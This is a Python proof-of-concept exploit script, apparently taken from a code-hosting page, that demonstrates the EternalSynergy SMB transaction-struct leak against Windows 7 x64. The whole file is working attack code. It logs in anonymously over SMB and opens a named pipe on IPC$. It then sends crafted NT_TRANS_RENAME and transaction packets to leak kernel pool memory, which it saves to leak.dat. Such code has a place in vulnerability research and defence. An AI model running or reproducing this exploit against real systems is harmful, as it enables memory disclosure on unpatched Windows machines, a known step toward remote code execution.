61 lines
1.8 KiB
Python
61 lines
1.8 KiB
Python
|
#!/usr/bin/python
|
||
|
|
from impacket import smb
|
||
|
|
from mysmb import MYSMB
|
||
|
|
from struct import pack
|
||
|
|
import sys
|
||
|
|
|
||
|
|
'''
|
||
|
|
PoC: demonstrates how NSA eternalsynergy leaks a transaction struct
|
||
|
|
|
||
|
|
Note:
|
||
|
|
- this PoC only test against Windows 7 x64
|
||
|
|
- all SMB request parameter is copied from capture network traffic
|
||
|
|
'''
|
||
|
|
|
||
|
|
USERNAME = ''
|
||
|
|
PASSWORD = ''
|
||
|
|
|
||
|
|
if len(sys.argv) != 3:
|
||
|
|
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
target = sys.argv[1]
|
||
|
|
pipe_name = sys.argv[2]
|
||
|
|
|
||
|
|
conn = MYSMB(target)
|
||
|
|
|
||
|
|
# our buffer size is 4356 bytes
|
||
|
|
# transaction with large reply will be splitted to multiple response
|
||
|
|
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
|
||
|
|
|
||
|
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||
|
|
conn.set_default_tid(tid)
|
||
|
|
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
|
||
|
|
|
||
|
|
# normally, small transaction is allocated from lookaside which force all buffer size to 0x5000
|
||
|
|
# the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup
|
||
|
|
for i in range(10):
|
||
|
|
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
|
||
|
|
|
||
|
|
mid_ntrename = conn.next_mid()
|
||
|
|
# create NT_TRANS_RENAME (5) request
|
||
|
|
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x10c0, maxParameterCount=0x3f40)
|
||
|
|
# leak 0x150 bytes
|
||
|
|
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*0x150)
|
||
|
|
reqs = [ conn.create_trans_packet('', totalDataCount=0x90, maxSetupCount=0, maxParameterCount=0xd00, maxDataCount=0) for i in range(8) ]
|
||
|
|
|
||
|
|
conn.send_raw(req1[:-8])
|
||
|
|
conn.send_raw(req1[-8:]+req2+''.join(reqs))
|
||
|
|
|
||
|
|
data = conn.recv_transaction_data(mid_ntrename, 0x10c0+0x150)
|
||
|
|
|
||
|
|
# no write parameter
|
||
|
|
open('leak.dat', 'wb').write(data[4:])
|
||
|
|
print('All return data is written to leak.dat')
|
||
|
|
|
||
|
|
|
||
|
|
conn.close(tid, fid)
|
||
|
|
conn.disconnect_tree(tid)
|
||
|
|
conn.logoff()
|
||
|
|
conn.get_socket().close()
|